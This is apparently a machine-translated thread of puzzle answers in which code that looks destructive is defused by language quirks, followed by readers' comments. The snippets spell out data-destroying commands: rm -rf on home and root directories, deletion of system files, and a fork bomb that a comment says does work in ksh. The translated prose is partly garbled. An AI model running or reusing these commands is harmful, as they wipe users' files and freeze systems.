ඔව්, සංස්කරණය කරන ලදි! එය අඩු අපැහැදිලි ය. කෙසේ වෙතත් එය සම්පූර්ණයෙන්ම පරස්පර විරෝධී නොවේ.
biozic

25

සී (යුනික්ස්)

සමහර දැන්වීම් එකතු කිරීමෙන් කිසිවෙකුට හානියක් සිදු නොවේ.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: එය ලේබලයක්, හානිකර කේතය නැති ලේබලය වෙතට යන්න. : වී


5
මට මෙය හඳුනා ගැනීමට හැකි විය :)
එරෙල් සේගල්-හලෙවි

17
පළමු URL හි ඇති අර්ධ සළකුණ මෙම අකුරු තුළ පහසුවෙන් හඳුනාගත හැකිය. නමුත් එය නිර්මාණශීලීයි!
CompuChip

12
goto ප්‍රයෝජනවත් යැයි සැලකේ

1
මම එය දුටුවේ ගෝටෝවෙන් පසු අර්ධ සළකුණක් නොමැති නිසාය. ඔබ එය goto http;//www.trolling.com;(ස්ථාන දෙකෙහිම) වෙනස් කළේ නම් මට එය මග හැරෙන්නට ඇත.
wchargin

2
එය කෙසේ හෝ සම්පාදනය නොකරනු ඇත, මන්ද එහි කිසිදු printකාර්යයක් නොමැත .
nyuszika7h

24

ජාවාස්ක්‍රිප්ට්

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

අනතුරු ඇඟවීමක් නොපෙන්වයි. ජාවාස්ක්රිප්ට් අවශ්ය නොවේ සිට ;රැහැන් අවසානයේ, එය ස්වයංක්රීයව පසු යනුෙවන් ඇතුළත් කර සංෙශෝධනය කරනු ලැෙබ් return, බවට පත් වෙමින් return;. එවිට undefined, ව්‍යාජ වන, "වස්තුව" වෙනුවට ආපසු ලබා දෙනු ලැබේ (ඇත්ත වශයෙන්ම එය වාරණ ප්‍රකාශයක් ලෙස විග්‍රහ කෙරේ).


3
"සැබවින්ම" සහ "ව්‍යාජ" භාවිතය සඳහා +1 කිරීමට පෙළඹී ඇත;)
CompuChip

1
+1 ජේඑස් හි ඇති මෙම අඩුපාඩුව නිසා මා කිහිප වතාවක්ම ආරක්‍ෂා කර ඇත ... එය බැලීමට දෙවරක් නැවත කියවීමට සිදුවිය
මාර්ක් ඕම්ස්ටන්

12
IgNigelNquande අර්ධ සළකුණ අසාර්ථක වීමට හේතු නොවේ, රේඛීය බිඳීම සිදු වේ. ආපසු පැමිණීම සහ ආපසු ලබා දිය යුතු වස්තුව වෙනම රේඛාවල ඇති බැවින් වස්තුව කිසි විටෙකත් ආපසු නොලැබේ. "නිවැරදි කිරීමට", රේඛා බිඳීම ඉවත් කරන්න, එවිට එය කියවනු ලැබේreturn {
ඩේව් ෆෝබර්

3
ට්‍රොල් එක මඟින් කේතය අවම නොකරනු ඇතැයි බලාපොරොත්තු වේ!
මොහොමඩ් ජොරයිඩ්

2
UglifyJS කියමින් WARN: Dropping side-effect-free statement [-:4,11]නැවත පැමිණේ function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
nyuszika7h

22

ජාවාස්ක්‍රිප්ට්

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

ඔබට භාවිතා කිරීමට අවශ්‍ය ඕනෑම නපුරු විනාශකාරී ක්‍රියාවක් සඳහා විනාශ කිරීමේ ඇඟවීම මාරු කරන්න.

ස්පොයිලර්:

වින්‍යාසය මකා දැමීමට සකසා ඇති බවක් පෙනෙන්නට තිබුණත් ... එය එසේ ය ! ශ්‍රිතය තුළ ඇති 'var' ප්‍රකාශය "එසවූ" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html වන අතර එහි ප්‍රති result ලයක් ලෙස ශ්‍රිතයට ඇතුළු වන විට එය සත්‍ය වේ.


හොඳ උපක්‍රමයක්, නමුත් ඔබ ධජය නැවත සකසන්නේ ඇයි?
මොහොමඩ් ජොරයිඩ්

"යළි පිහිටුවීම" උදාහරණයක් පමණි ... එය පැවරුම වලංගු වන ඕනෑම විචල්‍යයක් විය හැකිය ... 'var' සමඟ උපසර්ගගත කළහොත් අනපේක්ෂිත ප්‍රතිවිපාක ඇති විය හැකිය.
ස්කන්ලිෆ්

16

ජාවා

අපි වැදගත් ලිපිගොනු කිහිපයක් මකා දමමු!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

වාරණ විවරණයේ සැඟවී ඇත්තේ විවරණයෙන් පිටත අතිරේක {{ය. එමඟින් ගොනු මකාදැමීම වෙනම නිදර්ශන ආරම්භක කොටසකට දමයි, එය ඉදිකිරීම්කරු ඉදිරියේ ක්‍රියාත්මක වේ. එම අවස්ථාවේදී, වැදගත් ෆයිල් තවමත් ශුන්‍යයි.


16
මට මෙය හඳුනා ගැනීමට හැකි විය :)
එරෙල් සේගල්-හලෙවි

17
ට්‍රොල් එකේ අදහස් කියවන්නේ නැත්නම් මෙය ඉතා පැහැදිලිව පෙනේ.
ඩාර්ක්නස්ෆිෂ් වෙත ළඟා වෙමින්

6
"ට්‍රොල් විසින් අදහස් කියවන්නේ නැත" යනුවෙන් අර්ථ නිරූපණය කිරීමට මම තෝරා ගත්තෙමි. මෙම අවස්ථාවේ දී, එම අක්ෂර දෙක ඇත්ත වශයෙන්ම අදහස් දැක්වීමට පිටතින් ඇති බව වැරදියට මග හැරීම පහසු විය හැකිය.
ජෝ කේ

1
පැහැදිලි කිරීම කියවීමට පෙර මා විසඳූ එකම දෙය මෙයයි නමුත් හොඳ රැකියාවක්!
nrubin29

15

Bash, C, Linux

සමහර විට එය හරියටම අනිෂ්ට මෘදුකාංගයක් නොවිය හැකි නමුත් නිසැකවම එකක කොටසක් විය හැකිය :)

ඕනෑම ලිනක්ස් යන්ත්‍රයක මුල් බැස ගත හැකි පුදුමාකාර සූරාකෑමකි! අප සතුව එය ඇති බව කිසිවෙකුට නොකියන්න!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

දැන් ස්ක්‍රිප්ට් එක ක්‍රියාත්මක කරන්න, එවිට ඔබ root වනු ඇත! භාවිතා කිරීමට ඔබට සහතික විය හැකිය whoami!

ඇත්ත වශයෙන්ම එය ඔබට UID = 0 ඇති සියලුම යෙදුම් පමණක් උපක්‍රම කරයි (මෙය root පරිශීලක හැඳුනුම්පතයි).

කේතය ලියා ඇත්තේ Lcamtuf, මූලාශ්‍රය: http://lcamtuf.coredump.cx/soft/ld-expl


+1. ඇත්තෙන්ම හොඳ උපක්‍රමයක්. එය ක්‍රියාත්මක වන්නේ කෙසේදැයි මට තවමත් සම්පූර්ණයෙන් වැටහෙන්නේ නැත.
එරල් සේගල්-හලෙවි

@ErelSegalHalevi: LD_PRELOAD පිළිබඳ වැඩි විස්තර සඳහා stackoverflow.com/questions/426230/what-is-the-ld-preload-trick බලන්න .
mik01aj

2
කියවන්න fakeroot(1), එය විවිධ පොසික්ස් පද්ධති ක්‍රියාකාරිත්වයට ඇමතුම් ලබා දෙන පුස්තකාලයක් වන අතර, ඇමතුම්කරුට (ව්‍යාජ) කියවීම් සහ (ව්‍යාජ) ලිඛිත ප්‍රවේශයක් ඇති බව විශ්වාස කිරීමට පොළඹවයි. ඇත්ත වශයෙන්ම, එය ඇත්ත වශයෙන්ම මෙම අවසරයන් ලබා නොදෙනු ඇත, නමුත් වැඩසටහන, උදා: chmodගොනුවක “ව්‍යාජ” ශ්‍රිතය අමතා අවසරයන් වෙනස් කළ විට, ව්‍යාජ රූට් විසින් මෙම අවසරයන් මතක තබා ගන්නා අතර එමඟින් statඇමතුම් යාවත්කාලීන කළ අවසර ලබා දෙනු ඇත. සමහර ඩිස්ට්‍රෝවරු මෙය භාවිතා කරන්නේ පැකේජ සෑදීමේ පද්ධතියට root:rootහිමිකාරිත්වය සහිත ලිපිගොනු නිර්මාණය කිරීමට ඉඩ සලසමිනි .
sleblanc

1
එය lcamtuf ගේ යැයි මම විශ්වාස කරමි: lcamtuf.coredump.cx/soft/ld-expl - අවම වශයෙන් මට මතකයි එය 90 දශකයේ සිට පැවතුනි
viraptor

13

bash

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

"ෆෝක්-බෝම්බ" රේඛාවේ සින්ටැක්ස් දෝෂයක් තිබේ. පසු { , අවකාශයක් ඇති විය යුතු ය. එය නොමැතිව, ස්ක්‍රිප්ට් අසමත් වන්නේ ශ්‍රිත අර්ථ දැක්වීම { ටෝකනය විසින්ම අනුගමනය නොකරන බැවිනි.


2
kshදෙබලක බෝම්බය සින්ටැක්ස් දෝෂයක් නොවන බැවින් මෙය භාවිතයට නොගන්නා ලෙස ඔබ (ස්පොයිලර්හි සමහර විට) ප්‍රවේශම්කාරී සටහනක් එක් කළ යුතුය !
devnull


Enn ඩෙනිස්: සම්බන්ධයක් නැති, මම එය දැක නැත. නමුත් සිත්ගන්නාසුලු නූල්, අවංක වීමට. බාෂ් වල විග්‍රහ කිරීම ක්‍රියා කරන ආකාරය මම දනිමි, ඒ නිසා මම එය භාවිතා නොකරමි :-).
කොන්රාඩ් බොරොව්ස්කි

11

ඉමාක්ස් ලිස්ප්

පළමුව සරල එකක්. මේ තැනැත්තා කිසිවක් නොකරයි. එය සැබවින්ම සමාන මූලද්‍රව්‍ය මකා දැමීමට උත්සාහ කරයි: ආපසු ලබා දුන් ලැයිස්තුවෙන් පුනරාවර්තනය directory-files. එය කිසිදු ලිපිගොනු මකා දැමීමට යන්නේ නැත.

(delete :recursive
    (directory-files "/"))

මෙන්න එලිස්ප් වෙට්ස් පවා පන්දුවට පහර දිය හැකි එකකි.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

මෙය ඔබගේ මූල මකා දැමීමට අක්ෂර 1 ක් පමණි.

emacs lisp මඟින් ඕනෑම දෙයකට සංකේතයක නමක් (විචල්‍යය, ශ්‍රිතය, සාර්ව යනාදිය) jsut ට ඉඩ දෙනු ඇත. ඔබේ සංකේතවල නාමයෙන් යුනිකෝඩ් භාවිතා කිරීම හරි, මෙහි සිදුවන්නේ එයයි.

setqඕනෑම ආර්ග් ගණනක් ගත හැක (setq a 3 b 4)a = 3 කිරීම වැනි ය; b = 4; නමුත් (setq a 3 b)වලංගු වන අතර එය කරන්නේ = 3; b = නිල්;

`Setq 'හි ප්‍රතිලාභ අගය අවසාන විචල්‍යයට පවරා ඇති අගයයි. උදාහරණ වල පිළිවෙලින් 4 සහ නිල්.

(setq a 3 b)කේතයේ සිදුවන්නේ හරියටම ය, නමුත් b වෙනුවට මම භාවිතා කරන්නේ යුනිකෝඩ් වයිට්ස්පේස් අක්ෂරයකි. 0x2001 යුනිකෝඩ් අක්ෂරය නම් විචල්‍යයකට මම නිල් අගය ලබා දෙමි. මෙම නිල් නිසා setq විසින් ආපසු ලබා දෙන අතර කාල පුඩුවේ තත්වය කිසි විටෙකත් සත්‍ය නොවේ. එම හිස් අවකාශයේ චරිතය ඉවතට ගන්න, එය හොඳින් ක්‍රියාත්මක වේ.


10

තවත් පර්ල් හැකර් කෙනෙක්.

මම මෙය ලිව්වේ 2002 දී, පර්ල්මන්ක්ස් හි රැඳී සිටිමින් සාමාන්‍යයෙන් පර්ල් පිළිබඳ මගේ දැනුම හැකිතාක් දුරට තල්ලු කිරීමට ය. එය කිසිසේත් සංස්කරණය නොකළ නමුත් එය තවමත් ක්‍රියාත්මක වේ.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

මට නිවැරදිව මතක නම් BEGIN, කේතය කොතැනක තිබුණත්, වාරණය පළමුව ක්‍රියාත්මක වේ. එය ප්‍රතිස්ථාපනය @INCකරන්නේ පර්ල් සිය පුස්තකාලයන් සබ්ට්‍රවුටින් සමඟ පටවන්නේ කොතැනින්ද යන්න තීරණය කරයි (එය සාමාන්‍යයෙන් මාර්ග සමූහයකි, නමුත් මෙය අවසර දෙනු ලැබේ). සබ්ට්‍රවුටින් යනු සැබවින්ම අපැහැදිලි දත්ත කාණ්ඩයකි, එය යම් යම් රීජෙක්ස් + එවාල් මැජික් සිදු කරයි. එවිට, කේතය වැදුණු විට require File::Path;(එය සමඟ ක්‍රියා නොකරනු ඇත use) මෙම උපක්‍රමය ක්‍රියාත්මක කර සම්ප්‍රදායට අනුව "තවත් පර්ල් හැකර්" මුද්‍රණය කර පිටවෙයි. කේතයේ ඉතිරි කොටස කිසි විටෙකත් ළඟා නොවේ.


1
ඇවැත්නි, මෙම කේතය කරන්නේ කුමක්දැයි වටහා ගැනීමට මට යම් කාලයක් ගත විය (නමුත් මම ස්පොයිලර් කියවා නැත). මම මෙම රීජෙක්ස් ඇමතුම විකේතනය කළෙමි (එය මම codegolf.stackexchange.com/a/23871/3103 හි භාවිතා කළ ක්‍රමයම වේ ), සහ එහි exitවිධානය අඩංගු වන්නේ කෙසේදැයි මම කැමතියි (එයින් පසු අර්ථ විරහිත අර්ධ සළකුණක් ඇත, නමුත් එය වැදගත් නොවේ ).
කොන්රාඩ් බොරොව්ස්කි

හෙහෙයි, එය මා විසින්ම හදුනාගත යුතුව තිබුණි, සියල්ලට පසු එය අවුරුදු 11-12 කි. අර්ධ සළකුණ බොහෝ විට සෑම දෙයක්ම පිළිවෙළකට පෙළගැස්වීම සඳහා විය හැකිය.
ස්ටෝෆි

9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

බැලූ බැල්මට $conditionඑය අසත්‍යයකි, නමුත් =ක්‍රියාකරුට වඩා ප්‍රමුඛතාවයක් ඇත and, එබැවින් තත්වය සත්‍ය වේ. එබැවින් නපුර කිසි විටෙකත් සිදු නොවේ.


8

C ++ බූස්ට් සමඟ

මෙය ගොනු පද්ධතියේ ඇති සියලුම ගොනු මකා දමනු ඇත

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

ඇත්තෙන්ම එය එසේ නොවේ. deleteC ++ හි භාවිතා කරනුයේ newගොනු සහ නාමාවලි මකා දැමීමට නොව, මතකය නිදහස් කිරීමට ය . බූස්ට් විසින් වෙන් කරන ලද මතකය අවලංගු කිරීමට උත්සාහ කරන විට මෙම වැඩසටහන බොහෝ විට ඛණ්ඩනය වීමේ දෝෂයක් සමඟ බිඳ වැටෙනු ඇත, නමුත් ඒ වන විට මම ට්‍රොල්ගේ වහල්භාවයෙන් බේරී සිටිමි.


+1. කිසිදු දෝෂයක් නොමැතිව සම්පාදනය වන බැවින් මෙය හඳුනා ගැනීම පහසු නැත.
එරල් සේගල්-හලෙවි

2
පළමු ගැටළු රේඛාව නිර්වචනය නොකළ හැසිරීම නොවේද? කුමන අවස්ථාවක දී එය ඇත්ත වශයෙන්ම ඔහුගේ සියලුම ලිපිගොනු මකා දැමිය හැකිය.
aschepler

1
cheaschepler: "UB හට ඔබගේ සියලුම ලිපිගොනු මකා දැමිය හැකිය" යනු විනෝදජනක පැහැදිලි කිරීමක් සඳහා යූබී ආයාචනා කිරීමේදී කුමක් සිදුවේදැයි ඔබට අනාවැකි කිව නොහැකි නමුත් එය සාමාන්‍යයෙන් හැකියාවක් නොවේ.
ට්‍රොල්ට යූබී හි දෘ

2
සින්ටැක්ස් ඉස්මතු කිරීම
ට්‍රොල්ට

8

ජාවා

මෙය RAM බාගත කරන ලෙස මවා පෙන්වනු ඇත, නමුත් එය පරිශීලකයාගේ නිවාස නාමාවලිය මකා දමනු ඇත.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

TimerTimerTaskඔබ එයට ඉදිරිපත් කළ අය ඇමතීමට පසුබිම් නූල් භාවිතා කරයි . new Timer(true)නිර්මාණය කරයි Timerවූ daemon නූල් ලෙස පසුබිම නූල් කට්ටලයක් සමග, ඒ නිසා කාර්යයන් ලකුණු විය හැකි පෙර වැඩසටහන හුදෙක් වහාම ආකාරය එහි සඳහන් වෙනවා. ඕනෑවට වඩා දිගු කේතය trueපරාමිතිය දැකීමෙන් ට්‍රොල් අවධානය වෙනතකට යොමු කරයි .


7
rm -rf ⁄

අක්‍ෂරය සාමාන්‍ය කප්පාදු අක්ෂරය නොවේ (/, එනම් යුනිකෝඩයේ සොලිඩස්) නමුත් ඒ වෙනුවට ෆ්‍රැක්ෂන් ස්ලෑෂ් වේ. "Rm: like: එවැනි ගොනුවක් හෝ නාමාවලියක් නැත" වැනි පණිවිඩයක් මුද්‍රණය කරනු ඇත.


10
ඔහ්, මට උත්සාහ කිරීමට ඉඩ දෙන්න ....
මයිකල් ජේ. කැල්කින්ස්

1
Ic මයිකල් කැල්කින්ස්: ඔබට පුද්ගලීකරණය නොකළ පරිශීලකයෙකු ලෙස උත්සාහ කළ හැකි අතර, "සොයාගත නොහැකි" පණිවිඩය බලන්න ... බලාපොරොත්තු සහගතව.
ඔලිවියර් ඩුලැක්

7

bash

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

එය ලැබෙන තරමට නපුරු ය. එය ශ්‍රිතයක් නිර්වචනය කර එය ක්‍රියාත්මක කරයි rm -rf /. අවස්ථා කිහිපයකදී එය නපුරeval භාවිතා කරයි .

එය විශාල හානියක් කරනු ඇත, නිසැකවම!

ඔබ කල්පනා කරන්නේ නම්, පළමුවැන්න evalමඟින් ශ්‍රිතය අක්‍රීය කරයි: unset -f cleanup දෙවැන්න evalඑය අර්ථ දක්වන්නේ: cleanup() { echo Troll detected; } එබැවින් කේතය ධාවනය කිරීමෙන් පසු ඔබට පෙනෙනු ඇත Troll detected


9
යහපත! එහෙත්, සත්‍ය මකාදැමීම සඳහා කිසිදු ප්‍රයෝජනයක් නැති “base64” රේඛා මෙය මඳක් පැහැදිලිව පෙනෙන බව මම කියමි.
එරල් සේගල්-හලෙවි

1
evalඕනෑම පැහැදිලි කේතයකට වඩා නපුරු දෙයක් කරන බව විශ්වාස කිරීමට ඔබව යොමු කරනු ලැබුවහොත් වඩා හොඳ විය හැකිය . වත්මන් කේතය මගෙන් විමසීමට යොමු කරයි: පැහැදිලි දේ සියල්ල මකා දමන්නේ නම් 'නපුරු' කේතය සැඟවීමට කරදර වන්නේ ඇයි?
ටිම් එස්.

2
මෙය ඉතා අනිෂ්ට විය හැකි බැවින් මෙය අවශ්‍යතා සපුරාලන බව මම නොසිතමි: base64(සම්මත විධානයක් නොවේ) එය ක්‍රියාත්මක වන පද්ධතිය තුළ නොපවතී නම්, එවාල්ස් කිසිවක් නොකරයි rm -rf /. base64කිසියම් හේතුවක් නිසා අසමත් වුවහොත් මෙය සිදුවිය හැකිය (උදා ulimit).
ආර් .. GitHub STOP HELPING ICE

1
.R.: එසේම, rm -rf /බොහෝ rmක්‍රියාත්මක කිරීම් වලදී ක්‍රියා නොකරනු ඇත . මෙය ආරක්ෂක ලක්ෂණයකි - බොහෝ ක්‍රියාත්මක කිරීමේදී ඔබට මූල නාමාවලිය ඉවත් කළ නොහැක rm.
කොන්රාඩ් බොරොව්ස්කි

1
මා දන්නා තරමින් එය කාර්යබහුල පෙට්ටියේ අනුවාදය මත ක්‍රියා කරයි. :-)
R .. GitHub STOP HELPING ICE

6

බාෂ්

යන්ත්‍රය සඳහා අපට මූල වරප්‍රසාද අවශ්‍ය බව සහතිකයි, එබැවින් අපි හොඳ පැරණි "මට රූට් තිබේද?" - චෙක්කර් , අකා (ඊක්) රූට් භාවිතා කරයි - නමුත් බොහෝ අනතුරු ඇඟවීම් නොපැවැත්වෙන නාමාවලියක මෙය සිදු කිරීම වඩා හොඳය. / tmp පරිපූර්ණ වනු ඇත, මන්ද සෑම කෙනෙකුටම එහි ලිපිගොනු ලිවිය හැකිය.

මෙයින් පසු අපි සම්පූර්ණ දෘ hard තැටිය නපුරු සිනහව මකා දමමු

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
ජර්මානු ජාතිකයෙකු ලෙස මට පැවසිය හැකිය: ජර්මානු ජාතිකයෙකු ලෙස නපුරු සිනහ නොවන්න ...
පිලිප් සැන්ඩර්

Wer , ජර්මන් කාටවත් නැහැ නම්, ෂෙරුයියාගේ eefil සිනා හරි, Zen කරන්න පුළුවන්?
මම මොනිකා

5
මට පිළිගත යුතුයි එය මට කේතයේ කියවීම් කිහිපයක් ගෙන ඇති අතර පසුව ඔබේ අදහස් නැවත කියවා මෙය අනිෂ්ට යැයි යමෙකු සිතන්නේ මන්දැයි සොයා බැලීමට. ක්‍රූට් එය හැර වෙනත් දෙයක් කරන බවට ඔබේ අදහස් දැක්වීමේදී ඔබ ඒත්තු ගැන්වීමට උත්සාහ නොකළේ නම් සහ ට්‍රොල් අදහස් කියවන්නේ නැති බව ප්‍රශ්නයෙන් කියැවෙන්නේ නම් මෙය සාර්ථක වනු ඇතැයි මම නොසිතමි ...
ක්‍රිස්

1
අහම්බෙන්, chroot"චෙක් රූට්" නොවේ, එය "රූට් වෙනස් කිරීම" - එය කුමක්ද /යන්න පිළිබඳ පරිශීලකයාගේ අදහස වෙනස් කරයි . මූල සහ මූල නොවන පරිශීලකයින් සඳහා කිසිවක් කිරීමට මෙම ට්‍රොල් අසමත් වීම සිත්ගන්නා කරුණකි. root භාවිතා කරන්නන්ට නව root ලබා ගනී (එබැවින් / tmp / chroot_dir හි අලුතින් සාදන ලද මූලයේ කිසිවක් නොපවතින බැවින් / bin / bash විධානයක් නොමැත), සහ root නොවන පරිශීලකයින් chroot කිරීමට අසමත් වේ.
mah

මෙය මේ පිළිබඳ හෝඩුවාවක් වැනිය - එය "මූල වෙනස් කිරීම" නොවන බව මම දනිමි, නමුත් මගේ
ග්‍රහණය කරන්නා

6

iPhone - Flappy Bird Clone

පරිශීලකයා අයිෆෝන් ෆ්ලැපි කුරුළු ක්ලෝනයක් වාදනය කරන අතර, ලේඛන නාමාවලියෙහි ඇති සියලුම ගොනු මකා දමනු ලැබේ.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

IOS හි ඇති සෑම යෙදුමක්ම සෑන්ඩ්බොක්ස් කර ඇත, එබැවින් මෙය ලේඛන නාමාවලියෙහි ඇති සියල්ල මකා දැමූ අතර, එය මෙම විශේෂිත යෙදුම සඳහා ලේඛන නාමාවලිය පමණි. ට්‍රොල් පැහැදිලිවම මේ ගැන නොදැන සිටියි, මන්දයත් ඔහු දැනටමත් වෙනත් වේදිකා සඳහා බොහෝ වැඩසටහන් වලින් පිරී ඇත. ඔහුටත් ෆ්ලැපි කුරුළු ක්ලෝනයක් එළියට දැමිය හැකි බව දැනගත් විගස, ඔහු අනෙක් කේතය ගැන සිතීමට පවා නොසිතන හෙයින්, දිනකට ඩොලර් 50,000 ක් වෙළඳ දැන්වීම් නොමැතිව උපයා ගැනීමට සිහින මැව්වේය. ඕනෑම වැඩක් කරනවා.


5

යන්න:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

මේක ටිකක් උපක්‍රමශීලීයි. ප්‍රධාන ගොරූටින් පිටවන විට Go හි සම්පූර්ණ වැඩසටහනම පිටවෙයි. මෙය නිවැරදි කිරීමට හොඳ ක්‍රමයක් වන්නේ වේට් සමූහයකි. මගේ "නිවැරදි කිරීම" සමඟ විශාල ගැටළු දෙකක් තිබේ:

  1. ගොරූටින් ආරම්භ වන තෙක් වේට් ග roup ප් එකතු නොකෙරේ, එයින් අදහස් වන්නේ ගොරූටින් Waitමකා දැමීමට පෙර ප්‍රධාන ගොරූටින් පහර දෙන Addබවයි. කවුන්ටරය 0 වන බැවින් එයට බලා සිටීමට කිසිවක් නොමැති අතර එම නිසා එය අවහිර නොවන අතර පිටවීම අවසන් වන අතර එමඟින් වැඩසටහන අවසන් වේ.
  2. කෙසේ හෝ, ඉන්ද්‍රජාලිකව වුවද, මකාදැමීමේ සියලු ගෝරූටින් එකතු කිරීම පළමුව සිදු වේ. එයට වේට් ග roup ප් හි පිටපතක් ලැබුණි. එය එකම වේට් ග roup ප් එකට එකතු නොවනු ඇත, එබැවින් ප්‍රධාන ගොරූටින් එය කිසි විටෙකත් නොදකිනු ඇත.

